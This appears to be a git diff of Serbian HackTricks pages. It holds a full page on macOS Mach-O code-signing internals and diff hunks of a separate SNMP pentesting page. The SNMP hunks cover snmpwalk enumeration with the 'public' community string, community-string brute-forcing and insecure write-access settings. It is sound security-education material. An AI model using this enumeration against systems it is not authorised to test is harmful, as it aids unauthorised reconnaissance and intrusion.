Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Osnovne Informacije
|
||||
|
||||
Mach-o binarni fajlovi sadrže komandu za učitavanje pod nazivom **`LC_CODE_SIGNATURE`** koja označava **offset** i **veličinu** potpisa unutar binarnog fajla. U stvari, koristeći GUI alat MachOView, moguće je pronaći na kraju binarnog fajla sekciju pod nazivom **Code Signature** sa ovom informacijom:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
Magični zaglavlje Potpisa Koda je **`0xFADE0CC0`**. Zatim imate informacije kao što su dužina i broj blobova superBlob-a koji ih sadrže.\
|
||||
Moguće je pronaći ove informacije u [izvoru ovde](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
||||
```c
|
||||
/*
|
||||
* Structure of an embedded-signature SuperBlob
|
||||
*/
|
||||
|
||||
typedef struct __BlobIndex {
|
||||
uint32_t type; /* type of entry */
|
||||
uint32_t offset; /* offset of entry */
|
||||
} CS_BlobIndex
|
||||
__attribute__ ((aligned(1)));
|
||||
|
||||
typedef struct __SC_SuperBlob {
|
||||
uint32_t magic; /* magic number */
|
||||
uint32_t length; /* total length of SuperBlob */
|
||||
uint32_t count; /* number of index entries following */
|
||||
CS_BlobIndex index[]; /* (count) entries */
|
||||
/* followed by Blobs in no particular order as indicated by offsets in index */
|
||||
} CS_SuperBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
|
||||
#define KERNEL_HAVE_CS_GENERICBLOB 1
|
||||
typedef struct __SC_GenericBlob {
|
||||
uint32_t magic; /* magic number */
|
||||
uint32_t length; /* total length of blob */
|
||||
char data[];
|
||||
} CS_GenericBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
Uobičajeni blobovi koji se nalaze su Direktorij koda, Zahtevi i Ovlašćenja i Kriptografska poruka sintaksa (CMS).\
|
||||
Pored toga, obratite pažnju na to kako su podaci kodirani u blobovima kodirani u **Big Endian.**
|
||||
|
||||
Pored toga, potpisi se mogu odvojiti od binarnih datoteka i čuvati u `/var/db/DetachedSignatures` (koristi se u iOS-u).
|
||||
|
||||
## Blob Direktorij koda
|
||||
|
||||
Moguće je pronaći deklaraciju [Blob-a Direktorij koda u kodu](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L104):
|
||||
```c
|
||||
typedef struct __CodeDirectory {
|
||||
uint32_t magic; /* magic number (CSMAGIC_CODEDIRECTORY) */
|
||||
uint32_t length; /* total length of CodeDirectory blob */
|
||||
uint32_t version; /* compatibility version */
|
||||
uint32_t flags; /* setup and mode flags */
|
||||
uint32_t hashOffset; /* offset of hash slot element at index zero */
|
||||
uint32_t identOffset; /* offset of identifier string */
|
||||
uint32_t nSpecialSlots; /* number of special hash slots */
|
||||
uint32_t nCodeSlots; /* number of ordinary (code) hash slots */
|
||||
uint32_t codeLimit; /* limit to main image signature range */
|
||||
uint8_t hashSize; /* size of each hash in bytes */
|
||||
uint8_t hashType; /* type of hash (cdHashType* constants) */
|
||||
uint8_t platform; /* platform identifier; zero if not platform binary */
|
||||
uint8_t pageSize; /* log2(page size in bytes); 0 => infinite */
|
||||
uint32_t spare2; /* unused (must be zero) */
|
||||
|
||||
char end_earliest[0];
|
||||
|
||||
/* Version 0x20100 */
|
||||
uint32_t scatterOffset; /* offset of optional scatter vector */
|
||||
char end_withScatter[0];
|
||||
|
||||
/* Version 0x20200 */
|
||||
uint32_t teamOffset; /* offset of optional team identifier */
|
||||
char end_withTeam[0];
|
||||
|
||||
/* Version 0x20300 */
|
||||
uint32_t spare3; /* unused (must be zero) */
|
||||
uint64_t codeLimit64; /* limit to main image signature range, 64 bits */
|
||||
char end_withCodeLimit64[0];
|
||||
|
||||
/* Version 0x20400 */
|
||||
uint64_t execSegBase; /* offset of executable segment */
|
||||
uint64_t execSegLimit; /* limit of executable segment */
|
||||
uint64_t execSegFlags; /* executable segment flags */
|
||||
char end_withExecSeg[0];
|
||||
|
||||
/* Version 0x20500 */
|
||||
uint32_t runtime;
|
||||
uint32_t preEncryptOffset;
|
||||
char end_withPreEncryptOffset[0];
|
||||
|
||||
/* Version 0x20600 */
|
||||
uint8_t linkageHashType;
|
||||
uint8_t linkageApplicationType;
|
||||
uint16_t linkageApplicationSubType;
|
||||
uint32_t linkageOffset;
|
||||
uint32_t linkageSize;
|
||||
char end_withLinkage[0];
|
||||
|
||||
/* followed by dynamic content as located by offset fields above */
|
||||
} CS_CodeDirectory
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
Napomena da postoje različite verzije ove strukture gde starije mogu sadržati manje informacija.
|
||||
|
||||
## Stranice za potpisivanje koda
|
||||
|
||||
Hashovanje celog binarnog fajla bi bilo neefikasno i čak beskorisno ako je učitan samo delimično u memoriji. Stoga, potpis koda je zapravo hash hash-eva gde je svaka binarna stranica hash-ovana pojedinačno.\
|
||||
U stvari, u prethodnom **Direktorijumu koda** možete videti da je **veličina stranice specificirana** u jednom od njegovih polja. Štaviše, ako veličina binarnog fajla nije višekratnik veličine stranice, polje **CodeLimit** specificira gde je kraj potpisa.
|
||||
```bash
|
||||
# Get all hashes of /bin/ps
|
||||
codesign -d -vvvvvv /bin/ps
|
||||
[...]
|
||||
CandidateCDHash sha256=c46e56e9490d93fe35a76199bdb367b3463c91dc
|
||||
CandidateCDHashFull sha256=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
|
||||
Hash choices=sha256
|
||||
CMSDigest=c46e56e9490d93fe35a76199bdb367b3463c91dcdb3c46403ab8ba1c2d13fd86
|
||||
CMSDigestType=2
|
||||
Executable Segment base=0
|
||||
Executable Segment limit=32768
|
||||
Executable Segment flags=0x1
|
||||
Page size=4096
|
||||
-7=a542b4dcbc134fbd950c230ed9ddb99a343262a2df8e0c847caee2b6d3b41cc8
|
||||
-6=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-5=2bb2de519f43b8e116c7eeea8adc6811a276fb134c55c9c2e9dcbd3047f80c7d
|
||||
-4=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-3=0000000000000000000000000000000000000000000000000000000000000000
|
||||
-2=4ca453dc8908dc7f6e637d6159c8761124ae56d080a4a550ad050c27ead273b3
|
||||
-1=0000000000000000000000000000000000000000000000000000000000000000
|
||||
0=a5e6478f89812c0c09f123524cad560a9bf758d16014b586089ddc93f004e39c
|
||||
1=ad7facb2586fc6e966c004d7d1d16b024f5805ff7cb47c7a85dabd8b48892ca7
|
||||
2=93d476eeace15a5ad14c0fb56169fd080a04b99582b4c7a01e1afcbc58688f
|
||||
[...]
|
||||
|
||||
# Calculate the hasehs of each page manually
|
||||
BINARY=/bin/ps
|
||||
SIZE=`stat -f "%Z" $BINARY`
|
||||
PAGESIZE=4096 # From the previous output
|
||||
PAGES=`expr $SIZE / $PAGESIZE`
|
||||
for i in `seq 0 $PAGES`; do
|
||||
dd if=$BINARY of=/tmp/`basename $BINARY`.page.$i bs=$PAGESIZE skip=$i count=1
|
||||
done
|
||||
openssl sha256 /tmp/*.page.*
|
||||
```
|
||||
## Entitlements Blob
|
||||
|
||||
Napomena da aplikacije mogu sadržati **entitlement blob** gde su svi entitlements definisani. Štaviše, neki iOS binarni fajlovi mogu imati svoje entitlements specifične u posebnom slotu -7 (umesto u -5 entitlements posebnom slotu).
|
||||
|
||||
## Special Slots
|
||||
|
||||
MacOS aplikacije nemaju sve što im je potrebno za izvršavanje unutar binarnog fajla, već koriste i **spoljne resurse** (obično unutar aplikacionog **bundle**). Stoga, postoje neki slotovi unutar binarnog fajla koji će sadržati hashove nekih interesantnih spoljašnjih resursa kako bi se proverilo da nisu modifikovani.
|
||||
|
||||
U stvari, moguće je videti u strukturi Code Directory parametar nazvan **`nSpecialSlots`** koji označava broj posebnih slotova. Ne postoji poseban slot 0, a najčešći (od -1 do -6) su:
|
||||
|
||||
* Hash `info.plist` (ili onaj unutar `__TEXT.__info__plist`).
|
||||
* Hash Zahteva
|
||||
* Hash Resursnog Direktorijuma (hash fajla `_CodeSignature/CodeResources` unutar bundle-a).
|
||||
* Specifično za aplikaciju (neiskorišćeno)
|
||||
* Hash entitlements
|
||||
* DMG kodni potpisi samo
|
||||
* DER Entitlements
|
||||
|
||||
## Code Signing Flags
|
||||
|
||||
Svaki proces ima povezan bitmask poznat kao `status` koji pokreće kernel, a neki od njih mogu biti prepisani **kodnim potpisom**. Ove zastavice koje se mogu uključiti u kodni potpis su [definisane u kodu](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L36):
|
||||
```c
|
||||
/* code signing attributes of a process */
|
||||
#define CS_VALID 0x00000001 /* dynamically valid */
|
||||
#define CS_ADHOC 0x00000002 /* ad hoc signed */
|
||||
#define CS_GET_TASK_ALLOW 0x00000004 /* has get-task-allow entitlement */
|
||||
#define CS_INSTALLER 0x00000008 /* has installer entitlement */
|
||||
|
||||
#define CS_FORCED_LV 0x00000010 /* Library Validation required by Hardened System Policy */
|
||||
#define CS_INVALID_ALLOWED 0x00000020 /* (macOS Only) Page invalidation allowed by task port policy */
|
||||
|
||||
#define CS_HARD 0x00000100 /* don't load invalid pages */
|
||||
#define CS_KILL 0x00000200 /* kill process if it becomes invalid */
|
||||
#define CS_CHECK_EXPIRATION 0x00000400 /* force expiration checking */
|
||||
#define CS_RESTRICT 0x00000800 /* tell dyld to treat restricted */
|
||||
|
||||
#define CS_ENFORCEMENT 0x00001000 /* require enforcement */
|
||||
#define CS_REQUIRE_LV 0x00002000 /* require library validation */
|
||||
#define CS_ENTITLEMENTS_VALIDATED 0x00004000 /* code signature permits restricted entitlements */
|
||||
#define CS_NVRAM_UNRESTRICTED 0x00008000 /* has com.apple.rootless.restricted-nvram-variables.heritable entitlement */
|
||||
|
||||
#define CS_RUNTIME 0x00010000 /* Apply hardened runtime policies */
|
||||
#define CS_LINKER_SIGNED 0x00020000 /* Automatically signed by the linker */
|
||||
|
||||
#define CS_ALLOWED_MACHO (CS_ADHOC | CS_HARD | CS_KILL | CS_CHECK_EXPIRATION | \
|
||||
CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
|
||||
|
||||
#define CS_EXEC_SET_HARD 0x00100000 /* set CS_HARD on any exec'ed process */
|
||||
#define CS_EXEC_SET_KILL 0x00200000 /* set CS_KILL on any exec'ed process */
|
||||
#define CS_EXEC_SET_ENFORCEMENT 0x00400000 /* set CS_ENFORCEMENT on any exec'ed process */
|
||||
#define CS_EXEC_INHERIT_SIP 0x00800000 /* set CS_INSTALLER on any exec'ed process */
|
||||
|
||||
#define CS_KILLED 0x01000000 /* was killed by kernel for invalidity */
|
||||
#define CS_NO_UNTRUSTED_HELPERS 0x02000000 /* kernel did not load a non-platform-binary dyld or Rosetta runtime */
|
||||
#define CS_DYLD_PLATFORM CS_NO_UNTRUSTED_HELPERS /* old name */
|
||||
#define CS_PLATFORM_BINARY 0x04000000 /* this is a platform binary */
|
||||
#define CS_PLATFORM_PATH 0x08000000 /* platform binary by the fact of path (osx only) */
|
||||
|
||||
#define CS_DEBUGGED 0x10000000 /* process is currently or has previously been debugged and allowed to run with invalid pages */
|
||||
#define CS_SIGNED 0x20000000 /* process has a signature (may have gone invalid) */
|
||||
#define CS_DEV_CODE 0x40000000 /* code is dev signed, cannot be loaded into prod signed code (will go away with rdar://problem/28322552) */
|
||||
#define CS_DATAVAULT_CONTROLLER 0x80000000 /* has Data Vault controller entitlement */
|
||||
|
||||
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
|
||||
```
|
||||
Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) can also add the `CS_EXEC_*` flags dynamically when starting the execution.
|
||||
|
||||
## Zahtevi za potpisivanje koda
|
||||
|
||||
Svaka aplikacija čuva neke **zahteve** koje mora **ispuniti** da bi mogla da se izvrši. Ako **aplikacija sadrži zahteve koji nisu ispunjeni**, neće biti izvršena (jer je verovatno izmenjena).
|
||||
|
||||
Zahtevi binarnog fajla koriste **posebnu gramatiku** koja je niz **izraza** i kodirani su kao blobovi koristeći `0xfade0c00` kao magični broj čiji je **hash sačuvan u posebnom slotu za kod**.
|
||||
|
||||
Zahtevi binarnog fajla mogu se videti pokretanjem:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
codesign -d -r- /bin/ls
|
||||
Executable=/bin/ls
|
||||
designated => identifier "com.apple.ls" and anchor apple
|
||||
|
||||
codesign -d -r- /Applications/Signal.app/
|
||||
Executable=/Applications/Signal.app/Contents/MacOS/Signal
|
||||
designated => identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Obratite pažnju na to kako ove potpise mogu proveriti stvari kao što su informacije o sertifikaciji, TeamID, ID-ovi, ovlašćenja i mnogi drugi podaci.
|
||||
{% endhint %}
|
||||
|
||||
Pored toga, moguće je generisati neka kompajlirana zahteva koristeći alat `csreq`:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Generate compiled requirements
|
||||
csreq -b /tmp/output.csreq -r='identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR'
|
||||
|
||||
# Get the compiled bytes
|
||||
od -A x -t x1 /tmp/output.csreq
|
||||
0000000 fa de 0c 00 00 00 00 b0 00 00 00 01 00 00 00 06
|
||||
0000010 00 00 00 06 00 00 00 06 00 00 00 06 00 00 00 02
|
||||
0000020 00 00 00 21 6f 72 67 2e 77 68 69 73 70 65 72 73
|
||||
[...]
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Moguće je pristupiti ovim informacijama i kreirati ili modifikovati zahteve pomoću nekih API-ja iz `Security.framework` kao što su:
|
||||
|
||||
#### **Proveravanje Validnosti**
|
||||
|
||||
* **`Sec[Static]CodeCheckValidity`**: Proverava validnost SecCodeRef po zahtevu.
|
||||
* **`SecRequirementEvaluate`**: Validira zahtev u kontekstu sertifikata.
|
||||
* **`SecTaskValidateForRequirement`**: Validira pokrenuti SecTask protiv `CFString` zahteva.
|
||||
|
||||
#### **Kreiranje i Upravljanje Kodnim Zahtevima**
|
||||
|
||||
* **`SecRequirementCreateWithData`:** Kreira `SecRequirementRef` iz binarnih podataka koji predstavljaju zahtev.
|
||||
* **`SecRequirementCreateWithString`:** Kreira `SecRequirementRef` iz string izraza zahteva.
|
||||
* **`SecRequirementCopy[Data/String]`**: Preuzima binarnu reprezentaciju `SecRequirementRef`.
|
||||
* **`SecRequirementCreateGroup`**: Kreira zahtev za članstvo u grupi aplikacija.
|
||||
|
||||
#### **Pristupanje Informacijama o Potpisivanju Koda**
|
||||
|
||||
* **`SecStaticCodeCreateWithPath`**: Inicijalizuje `SecStaticCodeRef` objekat iz putanje u fajl sistemu za inspekciju potpisa koda.
|
||||
* **`SecCodeCopySigningInformation`**: Dobija informacije o potpisivanju iz `SecCodeRef` ili `SecStaticCodeRef`.
|
||||
|
||||
#### **Modifikovanje Kodnih Zahteva**
|
||||
|
||||
* **`SecCodeSignerCreate`**: Kreira `SecCodeSignerRef` objekat za izvođenje operacija potpisivanja koda.
|
||||
* **`SecCodeSignerSetRequirement`**: Postavlja novi zahtev za potpisnika koda koji će se primeniti tokom potpisivanja.
|
||||
* **`SecCodeSignerAddSignature`**: Dodaje potpis kodu koji se potpisuje sa specificiranim potpisnikom.
|
||||
|
||||
#### **Validacija Koda sa Zahtevima**
|
||||
|
||||
* **`SecStaticCodeCheckValidity`**: Validira statički kod objekat protiv specificiranih zahteva.
|
||||
|
||||
#### **Dodatni Korisni API-ji**
|
||||
|
||||
* **`SecCodeCopy[Internal/Designated]Requirement`: Dobija SecRequirementRef iz SecCodeRef**
|
||||
* **`SecCodeCopyGuestWithAttributes`**: Kreira `SecCodeRef` koji predstavlja kod objekat na osnovu specifičnih atributa, korisno za sandboxing.
|
||||
* **`SecCodeCopyPath`**: Preuzima putanju u fajl sistemu povezanu sa `SecCodeRef`.
|
||||
* **`SecCodeCopySigningIdentifier`**: Dobija identifikator potpisivanja (npr. Team ID) iz `SecCodeRef`.
|
||||
* **`SecCodeGetTypeID`**: Vraća identifikator tipa za `SecCodeRef` objekte.
|
||||
* **`SecRequirementGetTypeID`**: Dobija CFTypeID `SecRequirementRef`.
|
||||
|
||||
#### **Zastavice i Konstantne Vrednosti za Potpisivanje Koda**
|
||||
|
||||
* **`kSecCSDefaultFlags`**: Podrazumevane zastavice korišćene u mnogim funkcijama Security.framework za operacije potpisivanja koda.
|
||||
* **`kSecCSSigningInformation`**: Zastavica koja se koristi za specificiranje da treba preuzeti informacije o potpisivanju.
|
||||
|
||||
## Sprovođenje Potpisa Koda
|
||||
|
||||
**Kernel** je taj koji **proverava potpis koda** pre nego što dozvoli izvršavanje koda aplikacije. Štaviše, jedan od načina da se može pisati i izvršavati novi kod u memoriji je zloupotreba JIT ako je `mprotect` pozvan sa `MAP_JIT` zastavicom. Imajte na umu da aplikacija treba posebnu dozvolu da bi mogla to da uradi.
|
||||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) struktura sadrži informacije o dozvoli pokrenutog procesa na njemu. `csb_platform_binary` takođe obaveštava da li je aplikacija platforma binarni (što OS proverava u različitim momentima da bi primenio bezbednosne mehanizme kao što su zaštita SEND prava na portovima zadataka ovih procesa).
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
vnode_t csb_vnode;
|
||||
void *csb_ro_addr;
|
||||
__xnu_struct_group(cs_cpu_info, csb_cpu_info, {
|
||||
cpu_type_t csb_cpu_type;
|
||||
cpu_subtype_t csb_cpu_subtype;
|
||||
});
|
||||
__xnu_struct_group(cs_signer_info, csb_signer_info, {
|
||||
unsigned int csb_flags;
|
||||
unsigned int csb_signer_type;
|
||||
});
|
||||
off_t csb_base_offset; /* Offset of Mach-O binary in fat binary */
|
||||
off_t csb_start_offset; /* Blob coverage area start, from csb_base_offset */
|
||||
off_t csb_end_offset; /* Blob coverage area end, from csb_base_offset */
|
||||
vm_size_t csb_mem_size;
|
||||
vm_offset_t csb_mem_offset;
|
||||
void *csb_mem_kaddr;
|
||||
unsigned char csb_cdhash[CS_CDHASH_LEN];
|
||||
const struct cs_hash *csb_hashtype;
|
||||
#if CONFIG_SUPPLEMENTAL_SIGNATURES
|
||||
unsigned char csb_linkage[CS_CDHASH_LEN];
|
||||
const struct cs_hash *csb_linkage_hashtype;
|
||||
#endif
|
||||
int csb_hash_pageshift;
|
||||
int csb_hash_firstlevel_pageshift; /* First hash this many bytes, then hash the hashes together */
|
||||
const CS_CodeDirectory *csb_cd;
|
||||
const char *csb_teamid;
|
||||
#if CONFIG_SUPPLEMENTAL_SIGNATURES
|
||||
char *csb_supplement_teamid;
|
||||
#endif
|
||||
const CS_GenericBlob *csb_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
|
||||
const CS_GenericBlob *csb_der_entitlements_blob; /* raw blob, subrange of csb_mem_kaddr */
|
||||
|
||||
/*
|
||||
* OSEntitlements pointer setup by AMFI. This is PAC signed in addition to the
|
||||
* cs_blob being within RO-memory to prevent modifications on the temporary stack
|
||||
* variable used to setup the blob.
|
||||
*/
|
||||
void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_entitlements") csb_entitlements;
|
||||
|
||||
unsigned int csb_reconstituted; /* signature has potentially been modified after validation */
|
||||
__xnu_struct_group(cs_blob_platform_flags, csb_platform_flags, {
|
||||
/* The following two will be replaced by the csb_signer_type. */
|
||||
unsigned int csb_platform_binary:1;
|
||||
unsigned int csb_platform_path:1;
|
||||
});
|
||||
|
||||
/* Validation category used for TLE */
|
||||
unsigned int csb_validation_category;
|
||||
|
||||
#if CODE_SIGNING_MONITOR
|
||||
void *XNU_PTRAUTH_SIGNED_PTR("cs_blob.csb_csm_obj") csb_csm_obj;
|
||||
bool csb_csm_managed;
|
||||
#endif
|
||||
};
|
||||
```
|
||||
## Reference
|
||||
|
||||
* [**\*OS Internals Volume III**](https://newosxbook.com/home.html)
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -41,7 +41,7 @@ MIB datoteke su napisane u `Abstract Syntax Notation One` (`ASN.1`) baziranom AS
|
|||
|
||||
**Object Identifiers (OIDs)** igraju ključnu ulogu. Ovi jedinstveni identifikatori su dizajnirani za upravljanje objektima unutar **Management Information Base (MIB)**.
|
||||
|
||||
Najviši nivoi MIB identifikatora objekata, ili OIDs, su dodeljeni raznim organizacijama koje postavljaju standarde. U okviru ovih najviših nivoa uspostavlja se okvir za globalne prakse i standarde upravljanja.
|
||||
Najviši nivoi MIB identifikatora objekata, ili OIDs, dodeljeni su raznim organizacijama koje postavljaju standarde. U okviru ovih najviših nivoa uspostavlja se okvir za globalne prakse i standarde upravljanja.
|
||||
|
||||
Pored toga, proizvođačima je data sloboda da uspostave privatne grane. Unutar ovih grana, imaju **autonomiju da uključe upravljane objekte relevantne za svoje vlastite proizvodne linije**. Ovaj sistem osigurava da postoji strukturiran i organizovan način za identifikaciju i upravljanje širokim spektrom objekata među različitim proizvođačima i standardima.
|
||||
|
||||
|
@ -88,7 +88,7 @@ Ostatak vrednosti daje specifične informacije o uređaju.
|
|||
Postoje 2 važne verzije SNMP:
|
||||
|
||||
* **SNMPv1**: Glavna verzija, još uvek je najčešća, **autentifikacija se zasniva na stringu** (community string) koji putuje u **plain-text** (sve informacije putuju u običnom tekstu). **Verzija 2 i 2c** takođe šalju **saobraćaj u plain text** i koriste **community string kao autentifikaciju**.
|
||||
* **SNMPv3**: Koristi bolji oblik **autentifikacije** i informacije putuju **kriptovano** koristeći (**dictionary attack** može biti izveden, ali bi bilo mnogo teže pronaći ispravne kredencijale nego u SNMPv1 i v2).
|
||||
* **SNMPv3**: Koristi bolji oblik **autentifikacije** i informacije putuju **kriptovano** (može se izvršiti **dictionary attack**, ali bi bilo mnogo teže pronaći ispravne kredencijale nego u SNMPv1 i v2).
|
||||
|
||||
### Community Strings
|
||||
|
||||
|
@ -98,7 +98,7 @@ Postoje **2 tipa community strings**:
|
|||
* **`public`** uglavnom **samo za čitanje** funkcije
|
||||
* **`private`** **Čitanje/Pisanje** uopšte
|
||||
|
||||
Napomena da **pisivost OID-a zavisi od korišćenog community string-a**, tako da **čak i** ako otkrijete da se koristi "**public**", mogli biste biti u mogućnosti da **pišete neke vrednosti.** Takođe, može postojati objekata koji su **uvek "Samo za čitanje".**\
|
||||
Napomena da **pisivost OID-a zavisi od korišćenog community stringa**, tako da **čak i** ako otkrijete da se koristi "**public**", mogli biste biti u mogućnosti da **pišete neke vrednosti.** Takođe, može postojati objekata koji su **uvek "Samo za čitanje".**\
|
||||
Ako pokušate da **pišete** objekat, dobićete **`noSuchName` ili `readOnly` grešku**.\*\*.\*\*
|
||||
|
||||
U verzijama 1 i 2/2c, ako koristite **loš** community string, server neće **odgovoriti**. Dakle, ako odgovara, korišćen je **validan community string**.
|
||||
|
@ -113,9 +113,9 @@ U verzijama 1 i 2/2c, ako koristite **loš** community string, server neće **od
|
|||
|
||||
## Brute-Force Community String (v1 i v2c)
|
||||
|
||||
Da biste **pogodili community string**, mogli biste izvesti napad rečnikom. Proverite [ovde različite načine za izvođenje brute-force napada protiv SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Često korišćen community string je `public`.
|
||||
Da biste **pogodili community string**, mogli biste izvršiti dictionary attack. Proverite [ovde različite načine za izvršenje brute-force napada protiv SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). Često korišćen community string je `public`.
|
||||
|
||||
## Enumeracija SNMP
|
||||
## Enumerating SNMP
|
||||
|
||||
Preporučuje se instalacija sledećeg da biste videli šta znači **svaki OID prikupljen** sa uređaja:
|
||||
```bash
|
||||
|
@ -144,19 +144,19 @@ Hvala proširenim upitima (download-mibs), moguće je enumerisati još više o s
|
|||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
**SNMP** ima mnogo informacija o hostu, a stvari koje bi mogle biti zanimljive su: **Mrežni interfejsi** (IPv4 i **IPv6** adresa), Korisnička imena, Uptime, Verzija servera/OS-a, i **procesi**
|
||||
**SNMP** ima mnogo informacija o hostu, a stvari koje bi vam mogle biti zanimljive su: **Mrežni interfejsi** (IPv4 i **IPv6** adresa), Korisnička imena, Uptime, Verzija servera/OS-a, i **procesi**
|
||||
|
||||
**koji se izvršavaju** (mogu sadržati lozinke)....
|
||||
|
||||
### **Opasne postavke**
|
||||
|
||||
U oblasti upravljanja mrežom, određene konfiguracije i parametri su ključni za osiguranje sveobuhvatnog nadzora i kontrole.
|
||||
U oblasti upravljanja mrežom, određene konfiguracije i parametri su ključni za osiguranje sveobuhvatnog nadgledanja i kontrole.
|
||||
|
||||
### Postavke pristupa
|
||||
|
||||
Dve glavne postavke omogućavaju pristup **celom OID stablu**, što je ključna komponenta u upravljanju mrežom:
|
||||
|
||||
1. **`rwuser noauth`** je postavljen da omogući potpuni pristup OID stablu bez potrebe za autentifikacijom. Ova postavka je jednostavna i omogućava neograničen pristup.
|
||||
1. **`rwuser noauth`** je postavljen da dozvoli potpuni pristup OID stablu bez potrebe za autentifikacijom. Ova postavka je jednostavna i omogućava neograničen pristup.
|
||||
2. Za specifičniju kontrolu, pristup se može odobriti korišćenjem:
|
||||
* **`rwcommunity`** za **IPv4** adrese, i
|
||||
* **`rwcommunity6`** za **IPv6** adrese.
|
||||
|
@ -165,15 +165,15 @@ Obe komande zahtevaju **community string** i relevantnu IP adresu, nudeći potpu
|
|||
|
||||
### SNMP parametri za Microsoft Windows
|
||||
|
||||
Serija **Management Information Base (MIB) vrednosti** se koristi za praćenje različitih aspekata Windows sistema putem SNMP:
|
||||
Serija **Management Information Base (MIB) vrednosti** se koristi za nadgledanje različitih aspekata Windows sistema putem SNMP:
|
||||
|
||||
* **Sistemski procesi**: Pristupa se putem `1.3.6.1.2.1.25.1.6.0`, ovaj parametar omogućava praćenje aktivnih procesa unutar sistema.
|
||||
* **Sistemski procesi**: Pristupa se putem `1.3.6.1.2.1.25.1.6.0`, ovaj parametar omogućava nadgledanje aktivnih procesa unutar sistema.
|
||||
